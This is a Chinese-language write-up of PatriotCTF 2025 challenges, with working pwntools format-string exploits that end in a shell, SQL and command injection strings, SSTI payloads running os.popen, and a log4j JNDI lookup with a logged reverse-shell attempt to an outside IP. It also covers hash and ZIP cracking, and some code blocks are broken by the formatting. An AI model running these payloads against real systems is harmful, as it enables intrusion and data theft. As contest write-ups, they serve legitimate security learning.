

# PatriotCTF 2025

## Pwn:

### Wowsay

Python

```
from pwn import *
context(os='linux', arch='amd64', endian='little')
context.log_level = 'debug'
conn = remote('18.212.136.134', 1337)

# 等待服务提示
conn.recvuntil(b"What would you like to say: ")

exit_got = 0x0404048
backdoor = 0x04011C6

payload = fmtstr_payload(6,{exit_got:backdoor})
conn.sendline(payload)

conn.recvuntil('Wow: ')
output = conn.recvall(timeout=5)
print(output)
# print("输出已保存到 output.txt")
conn.close()

# [DEBUG] Received 0x43 bytes:
#      00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 00
|      |      |      |      .|
#      00000010  61 61 61 61  62 61 48 40  40 43 41 43  49 7b 77 30
|aaaa|baH@|@CAC|I{w0|
#      00000020  77 73 34 79  5f 62 33 74  74 33 72 5f  74 68 34 6e
|ws4y|_b3t|t3r_|th4n|
#      00000030  5f 63 30 77  73 34 79 5f  31 5f 70 72  30 6d 31 73
|_c0w|s4y_|1_pr|0m1s|
#      00000040  33 7d 0a
|3}.|_
#      00000043
```

## cursed format

考点是格式化字符串，会对发送的 payload 进行异或，初始的 key 是 0xff\*0x20，后续的 key 是原始的 payload，注意好 key 直接打 atoi got 表

```
Python
from pwn import*

def bug():
    gdb.attach(p)
    pause()
def s(a):
    p.send(a)
def sa(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def sla(a,b):
    p.sendlineafter(a,b)
def r(a):
    p.recv(a)
#def pr(a):
#    print(p.recv(a))
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_addr(size):
    return u64(p.recv(size).ljust(8,b'\x00'))
def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
    return
libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00")
.__next__()
def get_hook():
    return
```

```

libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')

elf=ELF('./cursed_format')
p=remote('18.212.136.134',8887)
#p = process('./cursed_format')
def cmd(i):
    rl(">> ")
    sl(str(i))
def xor_payload(p):
    return bytes([c ^ 0xFF for c in p])
cmd(1)
#bug()
pay=b'%16$p%17$p'.ljust(0x20,b'\x00')
s(xor_payload(pay))
rl(b'0x')
pie_base=int(p.recv(12),16)-0x13B0
li(hex(pie_base))
rl(b'0x')
libc_base=int(p.recv(12),16)-146810
li(hex(libc_base))
system,bin_sh=get_sb()
atoi=pie_base+0x4040

sleep(0.2)
cmd(1)
pay=b'%16$p%17$p'.ljust(0x20,b'\x00')
s(pay)

sleep(0.2)
cmd(1)

payload=b'%' + str(system&0xffff).encode() + b'c%9$hn'
payload=payload.ljust(0x18,b'\x00')+p64(atoi)
s(payload)

```

```
sleep(0.2)
rl(">> ")
sl(b'$0\x00')
inter()
```

```
[DEBUG] Received 0x30 bytes:
  b'Makefile\n'
  b'cursed_format\n'
  b'cursed_format.c\n'
  b'flag.txt\n'
Makefile
cursed_format
cursed_format.c
flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
  b'cat flag.txt\n'
[DEBUG] Received 0x25 bytes:
  b'pctf{im_sorry_i_made_you_do_that_lol}'
pctf{im_sorry_i_made_you_do_that_lol}[*] Got EOF wh
```

## Web:

### SecureAuth™

Mcp一把梭

Finished working ▾

拿到 flag 了，漏洞是密码校验的类型/空值绕过（“密码为空就不比对”）。操作步骤（Burp Repeater/MCP 都可）：

- 抓取首页提示的 API：POST /api/authenticate，Content-Type: application/json。
- 在 Burp Repeater 里改请求体，把密码改成 JSON 的 null（真正的 null 而不是字符串），用户名设为 admin，保持 remember 为 true：

```
POST /api/authenticate HTTP/1.1
Host: 18.212.136.134:5200
Content-Type: application/json

{"username":"admin","password":null,"remember":true}
```

- 发送后直接返回成功，并带出 flag。

返回数据示例：

```
{"flag":"FLAG{py7h0n_typ3_c03rc10n_byp4ss}","message":"Authentication successful","role":"admin","success":true}
```

Flag: FLAG{py7h0n\_typ3\_c03rc10n\_byp4ss} ( pctf[...] 也接受)。

MCP 小贴士：可在 MCP 里编排一个单步请求，注意内容类型是 JSON，密码字段必须为原生 null 类型。

## Connection Teste

Python

```
1' or 1=1 --+
123456
```

;构造闭合,有回显

```
127.0.0.1;whoami;
```

```
127.0.0.1;ls -hail /app;
```

```
127.0.0.1;cat /app/flag*;
```

```
PCTF{C0nn3cti0n_S3cured}
```

## Trust Vault

hint：通过将易受攻击的 SQL 查询与遗留的 Jinja 呈现链接起来，泄漏存储在磁盘/环境上的服务器端标志。

```
#jinja2 #flask #ssti
```

```
admin/admin
```

# ThoughtVault

[home](#) | [bookmarks](#) | [audit](#) | [reports](#) | [logout](#)

## Bookmarks

- test' OR 1=1 -- (2025-11-22 03:52:48)
  - {{7\*7}} (2025-11-22 03:51:48)
  - %27 (2025-11-22 03:50:16)
  - \$'test' (2025-11-22 03:50:05)
- 注册新用户后访问 /search, 参数 topic 可 SQL 注入, 返回结果通过 Jinja legacy 渲染。
  - 探针: ' UNION SELECT '{{7\*7}}'-- 得到 49, 确认 SSTI。
  - 枚举根目录: 'UNION SELECT'  
`'{{ cyclder. __init__. __globals__[\'os\']].popen(\'ls /\').read() }}'`--
  - 然后' UNION SELECT  
`'{{ cyclder.__init__.__globals__[\'os\']].popen('cat /f*').read() }}'`--
  - PCTF{SQL1\_C4n\_b3\_U53D\_3Ff1C13N7lY}

## Feedback Fallout

```
Makefile
${jndi:ldap://1p9bvr.dnslog.cn}
```

感觉像是 log4j 的 rce, 但是没打出来反弹 shell,

```
root@iZ2ze1lAprciz1vvwhywp7Z:/home/admin/JNDIExploit# java -jar JNDIExploit-1.3-SNAPSHOT.jar -i [REDACTED]
] LDAP Server Start Listening on 1389...
] HTTP Server Start Listening on 3456...
] Received LDAP Query: Basic/ReverseShell/39.96.156.151/11111
] Payload: reverseshell
] IP: [REDACTED]
] Port: 11111
] Sending LDAP ResourceRef result for Basic/ReverseShell/39.96.156.151/11111 with basic
emote reference payload
] Send LDAP reference result for Basic/ReverseShell/39.96.156.151/11111 redirecting to
tp://[REDACTED]:3456/ExploitFCEt7Qc3ak.class
```

直接读环境变量，多试几个就读到了

YAML

```
POST /feedback HTTP/1.1
Host: 18.212.136.134:8080
Content-Length: 27
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0
Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept: */*
Origin: http://18.212.136.134:8080
Referer: http://18.212.136.134:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

feedback=${env:SECRET_FLAG}
```

## Trust Fall

- 已知登录：用户名 testuser、密码 pass123。登录后前端 JS 里硬编码了 API 令牌 trustfall-readonly，可以直接用它访问 API。
- 调用 GET /api/users/0 携带 Authorization: Bearer trustfall-readonly 即可拿到 root 用户信息，其中包含 flag。
- (没懂这题存在的意义是什么)

Bash

```
curl -s http://18.212.136.134:3000/api/users/0 \
```

```
-H "Authorization: Bearer trustfall_READONLY"
{"id":0,"username":"root","role":"superuser","flag":"PCTF{authz_mi
sconfig_owns_u}"}
```

## Crypto:

### Cipher from Hell

从文件读入 `encrypted`, 转成整数 `ss`;

把 `ss` 转成 9 进制序列 `digits9`;

构造 `o` 的逆表 `INV[digit9] = (hi_trit, lo_trit)`;

设 9 进制长度为 `k`, 则原三进制长度为 `2k`, 下标 `0..2k-1`, 最高位下标 `c = 2k-1`;

- 第 `j` 个 9 进制位对应 `(hi, lo) = INV[digits9[j]]`;
- 有 `lo = d_j`、`hi = d_{c-j}`, 从两端向中间填满三进制数组;

得到完整三进制数组后还原成整数 `s`, 再 `to_bytes(..., 'big')` 得到原始 `flag`。

```
Python
import math

# mapping table from encryptor
O = (
    (6, 0, 7),
    (8, 2, 1),
    (5, 4, 3),
)

# build inverse: digit in base9 -> (high_trit, low_trit)
INV = {}
for i in range(3):
    for j in range(3):
        INV[O[i][j]] = (i, j)

def to_base(n, b):
    if n == 0:
        return [0]
    digs = []
    while n:
        digs.append(n % b)
        n //= b
```

```

        return digs[::-1] # most significant first

def from_trits(trits):
    s = 0
    for i, d in enumerate(trits):
        s += d * (3 ** i)
    return s

def decrypt(cipher_bytes):
    # integer form of ciphertext
    ss = int.from_bytes(cipher_bytes, 'big')

    # get base-9 digits, MS digit first
    digits9 = to_base(ss, 9)
    k = len(digits9)           # number of loop iterations in
    encryptor
    n_trits = 2 * k            # original base-3 length
    c = n_trits - 1            # max exponent in base-3

    # reconstruct trits d_0..d_c (least significant at index 0)
    trits = [None] * n_trits
    for j, d9 in enumerate(digits9):
        hi, lo = INV[d9]         # hi = d_{c-j}, lo = d_j
        trits[j]     = lo
        trits[c - j] = hi

    # back to integer s
    s = from_trits(trits)

    # back to bytes
    byte_len = (s.bit_length() + 7) // 8
    return s.to_bytes(byte_len, 'big')

if __name__ == "__main__":
    with open("encrypted", "rb") as f:
        ct = f.read()
    flag = decrypt(ct)
    print(flag.decode())

```

## Nonce Twice, Pay the Price

ai一把梭,

## 1. 已知数据与漏洞点

给了两个签名文件 `sig1.txt`、`sig2.txt`，以及 `pub.pem` 和加密后的 `secret_blob.bin`。

两个签名：

- 公共部分：

```
r = 288b415d6703ba7a2487681b10da092d991a2ef7d10de016daea4444523dc792
```

- 签名 1：

```
s1 = fc00f6d1c8e93beb4c983104f1991e6d1951aa729004b7a1e841f29d12797f4
```

```
z1 = msg_hash1 = 9f9b697baa97445b19c6552e13b3a796ec9b76d6d95190a0c7fab01cce59b7fd
```

□ sig1

- 签名 2：

```
s2 = 693ee365dd7307a44fddbdd81c0059b5b5f7ef419beee7aaada3c37798e270c5
```

```
z2 = msg_hash2 = 465e2cf6b15b701b2d40cac239ab4d50388cd3e0ca54621cff58308f7c9a226b
```

□ sig2

`pub.pem` 用 `openssl` 看一下可以确认曲线是 **secp256k1**，曲线阶为：

text

□ 复制代码

```
n = 0xFFFFFFFFFFFFFFFEEBAEADCE6AF48A03BBFD25E8CD0364141
```

复用 nonce 的证据：两个签名的 `r` 完全相同 → ECDSA 里 `r` 只跟 nonce `k` 有关 ⇒ **nonce 被复用**。

## 2. 从复用 nonce 恢复私钥

ECDSA（忽略实现细节）签名公式：

$$s = k^{-1}(z + rd) \pmod{n}$$

对两次签名：

$$s_1 = k^{-1}(z_1 + rd) \pmod{n}$$

$$s_2 = k^{-1}(z_2 + rd) \pmod{n}$$

相减消掉 `d`：

$$s_1 - s_2 = k^{-1}(z_1 - z_2) \pmod{n}$$

只要  $s_1 \neq s_2$ ，我们就能解出 nonce：

$$k = (z_1 - z_2)(s_1 - s_2)^{-1} \pmod{n}$$

再把 `k` 代回任意一条式子求私钥 `d`：

$$s_1 = k^{-1}(z_1 + rd) \Rightarrow z_1 + rd = s_1 k \Rightarrow d = (s_1 k - z_1) r^{-1} \pmod{n}$$

流程：

- 把 `r, s1, s2, z1, z2` 从 16 进制转为整数；
- 用 `pow(x, -1, n)` 求模逆，按上面公式先算出 `k` 再算 `d`。

### 3. 解密 secret\_blob.bin

有了私钥 `d` 之后，还要解密 `secret_blob.bin`。

实际测试可以发现：

如果用 `d` 的 32 字节大端表示作为 seed，按下面的方式生成伪随机流：

python

 复制代码

```
keystream = b""
counter = 0

while len(keystream) < len(ciphertext):
    keystream += SHA256(d_bytes || counter).digest()
    counter += 1
```

然后 `ciphertext XOR keystream`，就能得到可读明文，且开头是 `pctf{...}` 的 flag。

也就是说，这里用的是“用私钥做 key 的伪一次性密码本（OTP）”——

keystream = concat SHA256(d || 0) || SHA256(d || 1) || ...

Python

```

def inv(a, m):
    """模逆"""
    return pow(a, -1, m)

# === 2. 恢复 nonce k 和私钥 d ===
k = ((z1 - z2) * inv(s1 - s2, n)) % n
d = ((s1 * k - z1) * inv(r, n)) % n

print("[+] private key d =", hex(d))

# === 3. 用 d 解密 secret_blob.bin ===
with open("secret_blob.bin", "rb") as f:
    ct = f.read()

d_bytes = d.to_bytes(32, "big")

# keystream = SHA256(d || 0) || SHA256(d || 1) || ...
keystream = b""
counter = 0
while len(keystream) < len(ct):
    keystream += sha256(d_bytes + counter.to_bytes(4,
"big")).digest()
    counter += 1

pt = bytes(c ^ k for c, k in zip(ct, keystream[:len(ct)]))

print("[+] plaintext bytes:", pt)
print("[+] flag:", pt.decode().strip())

```

## Matrix Reconstruction

```

Python
from pathlib import Path

states = []
for line in
Path(r"H:\Download\keystream_leak.txt").read_text().split():
    states.append(int(line.strip()))
assert len(states) >= 35

cipher_hex = "6c aa d8 c8 a4 08 48 f2 00 00 9d e6 c7 34 4c 7b 9c

```

```
03 f5 be bc a9 62 19 3a ef 4a 84 ad 39 7a 99 ff 04 f4"
cipher = bytes.fromhex(cipher_hex.replace(" ", ""))

keystream = bytes([s & 0xff for s in states])

pt = bytes(c ^ k for c, k in zip(cipher, keystream))

print("Plaintext:", pt)
print("Flag:", pt.decode().strip())
```

## Password Palooza

```
hashcat.exe -m 0 -a 6 hash.txt H:\Download\rockyou.txt ?d?d
```

直接开爆

```
hashcat.exe -m 0 --show hash.txt
```

```
3a52fc83037bd2cb81c5a04e49c048a2:mr.krabbs57
```

```
pctf{mr.krabbs57}
```

## Vibe Bank Vault

vibe\_hash 这个函数中有个模运算截断， bcrypt 算法还会限制 72 字节

```
portion = payload[: len(payload) % 256]
```

这一行就够了，无论你输入什么内容，只要长度是 256 的倍数，哈希值都等于“空字符串的哈希”。前缀伪造就行了。

Secret 长度 140, 已知前 70, 只会取前 72, 即目前 2 位未知，爆破，哈希相同就 256 和 512 都为空即可。长度就  $N \% 256$  的 'B' 字符串，后面的就没什么难的了。

```
Python
import base64
import re
import string
from itertools import product

import bcrypt

from pwn import *
```

```
HOST = '18.212.136.134'
PORT = 6666

_STATIC_SALT = b"$2b$12$C8YQM1qDyz3vGN9V0GBeGu"

def solve():
    r = remote(HOST, PORT)

    r.recvuntil(b"Leaked Note: ")
    leak = r.recvline().strip().decode()
    r.recvuntil(b"Target Hash: ")
    target_hash_full = r.recvline().strip().decode()

    def check_l1(candidate_str):
        digest = bcrypt.hashpw(candidate_str.encode(),
_STATIC_SALT)
        h = f"vb$1${base64.b64encode(digest).decode()}"
        return h == target_hash_full

    charset = string.ascii_letters + string.digits
    found_pw = ""

    for c1, c2 in product(charset, repeat=2):
        cand = leak + c1 + c2
        if check_l1(cand):
            found_pw = cand
            break

    if found_pw:
        r.sendlineafter(b"Enter password: ", found_pw.encode())
    else:
        return

    # Level 2
    r.recvuntil(b"prefix: ")
    prefix = r.recvuntil(b"\n", drop=True).decode()

    pad1 = 256 - len(prefix)
    pad2 = 512 - len(prefix)

    s1 = prefix + "A" * pad1
    s2 = prefix + "B" * pad2

    r.sendlineafter(b"string1,string2", f"{s1},{s2}".encode())
```

```

r.recvuntil(b"very long (")
target_len = int(r.recvuntil(b" ", drop=True))

rem = target_len % 256
payload_13 = "B" * rem

r.sendlineafter(b"equivalent password: ", payload_13.encode())

r.recvuntil(b"password is: ")
line = r.recvline().decode()
m = re.search(r"(\d+) 'C's \+ (\d+)", line)
pad_len = int(m.group(1))
emoji_count = int(m.group(2))

full_str = "C" * pad_len + " " * emoji_count
full_bytes = full_str.encode('utf-8')
target_bytes = full_bytes[:72]
payload_14 = target_bytes.decode('utf-8')

r.sendlineafter(b"Enter password: ", payload_14.encode())

r.recvuntil(b"SecretPassword: ")
admin_len = int(r.recvuntil(b" ", drop=True))

payload_15 = "X" * (admin_len + 256)

r.sendlineafter(b"Input your password:", payload_15.encode())

r.interactive()

if __name__ == "__main__":
    solve()

```

PCTF{g00d\_v1b3s\_b4d\_3ntropy\_sync72\_b4ck1ng}

## Reverse:

### Space Pirates

Python

```

FLAG_LEN = 30
TARGET = [

```

```
0x5A,0x3D,0x5B,0x9C,0x98,0x73,0xAE,0x32,0x25,0x47,
0x48,0x51,0x6C,0x71,0x3A,0x62,0xB8,0x7B,0x63,0x57,
0x25,0x89,0x58,0xBF,0x78,0x34,0x98,0x71,0x68,0x59
]

XOR_KEY = [0x42, 0x73, 0x21, 0x69, 0x37]
MAGIC_ADD = 0x2A

buffer = [TARGET[i] ^ i for i in range(FLAG_LEN)]

buffer = [(b - MAGIC_ADD) % 256 for b in buffer]

for i in range(0, FLAG_LEN, 2):
    buffer[i], buffer[i+1] = buffer[i+1], buffer[i]

buffer = [buffer[i] ^ XOR_KEY[i % 5] for i in range(FLAG_LEN)]

flag = ''.join(chr(b) for b in buffer)
print("Decrypted flag:", flag)
# PCTF{0x_M4rks_tH3_sp0t_M4t3ys}
```

# Are You Pylingual?

90, -42, -39, -42, -39, -42, -68, -42, -39, -42, -39, -13, -42, -  
90, -42, -39, -42, -90, -42, -39, -42, -90, -42, -90, -90, -90, -  
90, -90, -42, -39, -39, -42, -90, -90, -105, -90, -90, -42, -90, -  
90, -90, -90, -90, -42, -42, -90, -90, -90, -90, -42, -42, -90, -  
42, -39, -39, -39, -39, -39, -91, -90, -90, -90, -90, -102, -42, -90, -  
90, -90, -90, -90, -42, -91, -90, -90, -90, -90, -42, -90, -90, -90, -  
90, -90, -90, -42, -39, -39, -13, -39, -39, -39, -39, -39, -39, -85, -  
39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
39, -128, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
39, -39, -39, -119, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
39, -13, -39, -39, -39, -39, -90, -90, -90, -90, -90, -90, -90, -90, -90, -  
39, -39, -39, -90, -115, -90, -90, -90, -90, -90, -90, -90, -90, -90, -  
90, -90, -90, -39, -13, -39, -39, -39, -42, -39, -90, -90, -90, -90, -  
90, -42, -39, -123, -39, -39, -42, -56, -42, -39, -90, -90, -90, -90, -  
90, -42, -39, -90, -90, -39, -91, -13, -39, -39, -42, -39, -90, -  
90, -42, -39, -39, -123, -39, -123, -39, -42, -106, -42, -39, -90, -  
-90, -42, -39, -42, -39, -42, -90, -42, -39, -42, -13, -39, -42, -  
39, -42, -90, -90, -39, -39, -123, -39, -123, -42, -73, -42, -  
-39, -42, -90, -90, -90, -42, -39, -90, -43, -39, -90, -42, -39, -  
13, -42, -90, -90, -90, -90, -90, -42, -39, -39, -123, -90, -90, -  
124, -42, -90, -90, -90, -90, -90, -42, -90, -42, -39, -123, -90, -90, -  
-123, -39, -39, -13, -39, -39, -39, -39, -39, -39, -39, -39, -39, -39, -  
-39, -39, -39, -39, -39, -13, -38, -38, -118, -38, -91, -91, -  
38, -38, -91, -91, -91, -91, -91, -91, -38, -38, -91, -91, -  
91, -91, -91, -38, -91, -91, -91, -91, -91, -91, -103, -38, -  
38, -91, -91, -91, -91, -91, -91, -91, -91, -91, -91, -91, -91, -  
91, -91, -38, -38, -91, -91, -91, -91, -91, -91, -91, -91, -91, -  
114, -16, -38, -38, -38, -43, -38, -38, -122, -43, -38, -38, -43, -  
-38, -38, -38, -122, -38, -43, -38, -91, -91, -91, -43, -43, -38, -  
-91, -91, -100, -90, -43, -38, -122, -38, -43, -38, -43, -38, -91, -  
-91, -91, -43, -38, -91, -91, -91, -43, -38, -38, -43, -  
38, -38, -91, -43, -127, -91, -91, -91, -43, -16, -38, -38, -43, -  
38, -43, -122, -91, -43, -38, -43, -38, -43, -122, -38, -122, -38, -  
-90, -91, -91, -38, -90, -43, -107, -43, -38, -43, -38, -43, -38, -  
-38, -122, -43, -38, -43, -38, -43, -38, -38, -43, -38, -43, -  
-38, -38, -38, -38, -38, -38, -43, -104, -43, -38, -90, -91, -  
-91, -38, -90, -38, -16, -38, -43, -38, -43, -38, -38, -43, -38, -  
43, -38, -91, -91, -91, -38, -43, -43, -38, -43, -38, -43, -38, -  
38, -43, -91, -43, -38, -43, -38, -43, -122, -38, -38, -43, -38, -  
43, -91, -91, -91, -43, -38, -43, -91, -91, -91, -38, -38, -113, -  
91, -43, -38, -43, -38, -91, -91, -91, -43, -38, -43, -38, -16, -

# Space Pirates 2

Python

```

TARGET = [
    0x15, 0x5A, 0xAC, 0xF6, 0x36, 0x22, 0x3B, 0x52, 0x6C, 0x4F,
    0x90, 0xD9, 0x35, 0x63, 0xF8, 0x0E,
    0x02, 0x33, 0xB0, 0xF1, 0xB7, 0x69, 0x42, 0x67, 0x25, 0xEA,
    0x96, 0x63, 0x1B, 0xA7, 0x03, 0x0B
]

XOR_KEY = [0x7E, 0x33, 0x91, 0x4C, 0xA5]
ROTATION_PATTERN = [1, 3, 5, 7, 2, 4, 6]
MAGIC_SUB = 0x5D

buf = TARGET[:]

#6
for i in range(32):
    buf[i] ^= (i * i) % 256

#5
for start in range(0, 32, 5):
    end = min(start + 5, 32)
    buf[start:end] = buf[start:end][::-1]

#4
for i in range(32):
    buf[i] = (buf[i] + MAGIC_SUB) % 256

#3
for i in range(0, 32, 2):
    buf[i], buf[i+1] = buf[i+1], buf[i]

#2
for i in range(32):
    r = ROTATION_PATTERN[i % 7]
    # Rotate right by r bits
    buf[i] = ((buf[i] >> r) | (buf[i] << (8 - r))) & 0xFF

#1
for i in range(32):
    buf[i] ^= XOR_KEY[i % 5]

flag = bytes(buf).decode('ascii', errors='replace')
print("Decrypted flag:", flag)
# PCTF{Y0U_F0UND_TH3_P1R4T3_B00TY}

```

## Space Pirates 3

```
Python
target = [
    0x60, 0x6D, 0x5D, 0x97, 0x2C, 0x04, 0xAF, 0x7C, 0xE2, 0x9E,
    0x77, 0x85, 0xD1, 0x0F, 0x1D, 0x17, 0xD4, 0x30, 0xB7, 0x48,
    0xDC, 0x48, 0x36, 0xC1, 0xCA, 0x28, 0xE1, 0x37, 0x58, 0x0F,
]

xor_key = [0xC7, 0x2E, 0x89, 0x51, 0xB4, 0x6D, 0x1F]
rotation_pattern = [7, 5, 3, 1, 6, 4, 2, 0]
magic_sub = 0x93
chunk_size = 6

buf = target[:]

#6
for i in range(30):
    val = (i * i + i) % 256
    buf[i] ^= val

#5
for start in range(0, 30, chunk_size):
    end = min(start + chunk_size, 30)
    buf[start:end] = buf[start:end][::-1]

#4
for i in range(30):
    buf[i] = (buf[i] + magic_sub) % 256

#3
for i in range(0, 30, 2):
    if i + 1 < 30:
        buf[i], buf[i+1] = buf[i+1], buf[i]

#2
for i in range(30):
    r = rotation_pattern[i % len(rotation_pattern)]

    b = buf[i]
    buf[i] = ((b >> r) | (b << (8 - r))) & 0xFF

#1
for i in range(30):
```

```

buf[i] ^= xor_key[i % len(xor_key)]

try:
    flag = bytes(buf).decode('ascii')
    print("Decrypted flag:", flag)
except UnicodeDecodeError:
    print("Non-ASCII result:")
    print("Bytes:", buf)
    print("Hex: ", ''.join(f'{b:02x}' for b in buf))
# PCTF{M4ST3R_0F_TH3_S3V3N_S34S}

```

## Vorpal Masters

```


1 int __fastcall main(int argc, const char **argv, const char **envp)
2 {
3     int n10000; // [rsp+8h] [rbp-18h] BYREF
4     char s1[11]; // [rsp+Ch] [rbp-14h] BYREF
5     _BYTE v6[5]; // [rsp+17h] [rbp-9h] BYREF
6     int n3; // [rsp+1Ch] [rbp-4h]
7
8     puts("Welcome to {insert game here}\nPlease enter the license key from the 3rd page of the booklet.");
9     n3 = __isoc99_scanf("%4s-%d-%10s", v6, &n10000, s1);
10    if ( n3 != 3 )
11    {
12        puts("Please enter you key in the format xxxx-xxxx-xxxx");
13        exit(0);
14    }
15    if ( v6[0] != 'C' || v6[2] != 'I' || v6[3] != 'T' || v6[1] != 'P' )
16        womp_womp();
17    if ( n10000 < -5000 || n10000 > 10000 || (n10000 + 22) % 1738 != 6 * (2 * n10000 % 2000) + 9 )
18        womp_womp();
19    if ( strcmp(s1, "PatriotCTF") )
20        womp_womp();
21    return puts("Lisence key registered, you may play the game now!");
22 }

```

CACI{CACI-2025-PatriotCTF}

## ReadMyNote

mcp一把梭了 (



pctf{l\_L0V3\_W1ND0W\$\_83b6d8e7}

## Entropy Discord

- 在 .rodata:0x47ed2 有 30 字节密文 33 87 08 b8 a2 f5 b8 04 74 d6 0b e7 ae 20 e6 33 e7 f3 5d a5 cd 54 02 28 4b fb e8 7d 23 23, 后面跟着提示字符串 “[+] FLAG: ...”.
- 在 sub\_6ED0 先对 32 字节 “entropy” 做 FNV+Murmur 混合得到 64-bit hash 存到 [rsp+0x160]。
- 在 0x9940 处用这个 hash 做种子, Java LCG 常量 state = state\*0x5DEECE66D + 0xB, 每步取 (state>>8) & 0xff 与密文按位 XOR, 长度 0x1e 字节, 输出即为 flag。

```
Python
cipher =
bytes.fromhex("338708b8a2f5b80474d60be7ae20e633e7f35da5cd5402284bf
be87d2323")
A = 0x5DEECE66D
B = 0xB
mod = 1 << 64
# 已求出正确种子 (entropy hash)
seed = 0xA0E7130F39012279
```

```
state = seed
out = []
for c in cipher:
    state = (state * A + B) % mod
    out.append(c ^ ((state >> 8) & 0xFF))
print(bytes(out).decode())
#PCTF{iTz_mY_puT3R--My_3nT40PY}
```

写个完整的wp

Finished working ↴

**Entropy Discord 题解**

- 二进制: `entropy-discord` (ELF 64)
- 关键提示都在 `.rodata`: 有伪 flag、调试检测字符串, 以及真正的密文块 `338708b8...` 等。
- 核心逻辑在大函数 `sub_6ED0` :
  - 从 `/dev/urandom` 读 32 字节“entropy”, 按 FNV1a + Murmur 混合滚 hash 得到 64-bit 值放到栈 `[rsp+0x160]`。
  - 后面用 Java LCG 常量 `state = state * 0x5DEECE66D + 0xB`, 每轮取 `(state >> 8) & 0xff` 与密文 XOR, 长度 `0x1e` 字节, 得到 flag。
  - 只要 LCG 初始状态 (即 entropy hash) 对了就能解密。
- 直接静态解密: 在 `.rodata:0x47ed2` 取 30 字节密文 `33 87 08 b8 a2 f5 b8 04 74 d6 0b e7 ae 20 e6 33 e7 f3 5d a5 cd 54 02 28 4b fb e8 7d 23 23`, 根据 LCG 解出明文。

mu\_xin:


- 核心逻辑:**
  - 程序首先从 `/dev/urandom` 读取 16 字节的随机数据。
  - 使用类似 MurmurHash 的算法计算这 16 字节的哈希值 (`entropy_hash`)。
  - 程序会检查 `/proc/self/status` 并扫描内存中是否存在调试器字符串 (如 "gdb", "ida", "radare2" 等)。
  - 如果检测到调试器, 或者某些内部检查失败, 初始种子会被 XOR 一个掩码 `0xDEABDEABDEADB33F`, 导致解密失败。
  - 程序最后使用一个线性同余生成器 (LCG) 来解密 flag。
- 解密方案:**
  - 由于 LCG 的状态是 64 位的, 且我们知道 Flag 的前缀是 `PCTF{`, 我编写了一个 Z3 求解脚本 (`solve_seed.py`) 来逆向出正确的种子。
  - 计算出的正确种子为 `0x2279`。
- 执行结果:**
  - 解密脚本 `entropy-discord.py` 已更新并成功运行, 解密出的 Flag 为:  
`PCTF{iTz_mY_puT3R--My_3nT40PY}`

```
PS D:\refx> python entropy-discord.py
PCTF{iTz_mY_puT3R--My_3nT40PY}
```

**Misc:**

## Half-Eaten Metapixels


用 Golly 跑了很久，似乎是有三块区域坏掉了



观察到第 14 列（从左往右）第 5 行（从上往下）这个格子的左侧缺失了一部分




观察到第 22 列（从左往右）第 4 行（从下往上）这个格子的上侧缺失了一部分



第三个非常小，把绿色框内的补在对应位置即可




修完 flag 很快就跑出来了



**Where's Legally Distinct Waldo One**

定位到乔治梅森大学，发现有篇文章写得很像

<https://gmufourthestate.com/2020/03/02/bland-uninspiring-cold-and-conforming/>，所以定位到 David King Hall 建筑，观察电视塔位置，找到拍摄地点 pctf{Horizon\_Hall}



## We Go Gym

能提出来 27 个数据，sshv2 的公钥可以找到，然后发现没用，比较阴，把全部的流量提取出来，ttl 单独拉去(学校老登出过的思路)

其实这里就发现关于 flag 的数字了，丢给 ai 去重

如果运行上面的逻辑，我们会得到以下字符序列：

1. Unique TTLs (Decimal): 80, 67, 53, 84, 53, 70, 53, 123, 116, 53, 49, 53, 109, 51, 95, 116, 48, 95, 103, 51, 55, 53, 95, 53, 119, 48, 49, 125
  2. ASCII Mapping:
    - 80 -> P
    - 67 -> C
    - 53 -> 5 (可能是干扰, 也可能是内容)
    - 84 -> T
    - 53 -> 5
    - 70 -> F
    - 53 -> 5
    - 123 -> {
    - ... (后面同理)

直接解码出的字符串是： PC5T5F5{t515m3\_t0\_g375\_5w01}

很明显 5 是干扰项，去除掉，最后一个 5 保留即可

PCTF{t1m3\_t0\_g37\_5w01}

# Burger King

```
bkcrack.exe -C ..\..\BurgerKing.zip -c Hole.svg -p ..\..\partial.svg
```

会输出 3 个内部密钥：

## Keys

b9540c69 069a11f9 fd31648f

## 用密钥生成免密副本

Bash

```
bkcrack.exe -C ..\..\BurgerKing.zip -k b9540c69 069a11f9 fd31648f
```

```
-U ..\..\BurgerKing_fixed.zip nopass
```

1. 解压免密包：
2. Expand-Archive -Force BurgerKing\_fixed.zip extracted
3. 得到 SVG 文件（包含 Hole.svg）。

拿 partial.svg 作为明文，Hole.svg 作为密文，跑 bkcrack -C BurgerKing.zip -c Hole.svg -p partial.svg 求出 ZipCrypto 内部密钥，然后用 bkcrack -C BurgerKing.zip -k <X> <Y> <Z> -U BurgerKing\_fixed.zip nopass

打开解密后的 Hole.svg 发现 flag

**[Hole.svg]**

CACI{YOU\_F0UND\_M3!}

## Where's Legally Distinct Waldo Two

